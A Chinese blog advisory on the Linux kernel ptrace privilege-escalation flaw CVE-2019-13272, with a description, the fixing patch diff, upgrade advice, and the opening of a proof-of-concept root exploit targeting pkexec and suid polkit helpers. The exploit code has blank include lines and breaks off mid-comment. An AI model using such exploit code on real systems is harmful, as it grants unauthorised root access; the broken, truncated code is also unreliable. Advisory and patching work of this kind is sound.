linux mate 进程_漏洞预警|Linux内核本地提权漏洞分析(CVE201913272)

本文详细分析了Linux内核的本地提权漏洞CVE-2019-13272,攻击者可通过PTRACE_TRACEME获取Root权限。影响包括Ubuntu、Linux Mint等多个版本。建议尽快升级到5.1.17及以上内核版本以修复漏洞。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

153193b7-932e-eb11-8da9-e4434bdf6706.jpeg

漏洞描述

近日,HSCERT监测发现Linux修复了一个本地内核提权漏洞,利用此漏洞,攻击者可将普通用户权限提升为Root权限。

HSCERT研判此漏洞为严重漏洞,攻击者拿到本地权限可以直接提权至root。

漏洞分析

当调用PTRACE_TRACEME时,ptrace_link()将获得对父级目标凭据的RCU引用,然后把该指针指向get_cred()函数。但是,对象struct cred的生存周期不允许无条件地将RCU引用转换为一个长期稳定的引用。

PTRACE_TRACEME获取父进程的凭证,使其能够像父进程一样执行父进程能够执行的各种操作。

但是,如果是恶意的没有特权的子进程使用PTRACE_TRACEME,该子进程可获取其父进程的控制权并且使用其父进程的权限调用execve函数创建一个新的高权限进程,可以使用ptrace suid文件并获取root权限。

下面是补丁对比代码,通过一直记录进程的凭据可以修复这个漏洞:

@@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct * child,struct task_struct * new_parent,
 * /
static  void  ptrace_link(struct task_struct * child,struct task_struct * new_parent)
{
  -  rcu_read_lock();
  -  __ptrace_link(child,new_parent,__ task_cred(new_parent));
  -  rcu_read_unlock();
  +  __ptrace_link(child,new_parent,current_cred());
}

/ * *

验证poc如下,可用于自检:

#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define DEBUG

#ifdef DEBUG
#  define dprintf printf
#else
#  define dprintf
#endif

#define SAFE(expr) ({                   \
  typeof(expr) __res = (expr);          \if (__res == -1) {                    \
    dprintf("[-] Error: %s\n", #expr);  \
    return 0;                           \
  }                                     \
  __res;                                \
})
#define max(a,b) ((a)>(b) ? (a) : (b))

static const char *SHELL = "/bin/bash";

static int middle_success = 1;
static int block_pipe[2];
static int self_fd = -1;
static int dummy_status;
static const char *helper_path;
static const char *pkexec_path = "/usr/bin/pkexec";
static const char *pkaction_path = "/usr/bin/pkaction";
struct stat st;

const char *helpers[1024];

const char *known_helpers[] = {
  "/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
  "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
  "/usr/lib/unity-settings-daemon/usd-backlight-helper",
  "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
  "/usr/sbin/mate-power-backlight-helper",
  "/usr/bin/xfpm-power-backlight-helper",
  "/usr/bin/lxqt-backlight_backend",
  "/usr/libexec/gsd-wacom-led-helper",
  "/usr/libexec/gsd-wacom-oled-helper",
  "/usr/libexec/gsd-backlight-helper",
  "/usr/lib/gsd-backlight-helper",
  "/usr/lib/gsd-wacom-led-helper",
  "/usr/lib/gsd-wacom-oled-helper",
};

/* temporary printf; returned pointer is valid until next tprintf */
static char *tprintf(char *fmt, ...) {
  static char buf[10000];
  va_list ap;
  va_start(ap, fmt);
  vsprintf(buf, fmt, ap);
  va_end(ap);
  return buf;
}

/*
 * fork, execute pkexec in parent, force parent to trace our child process,
 * execute suid executable (pkexec) in child.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值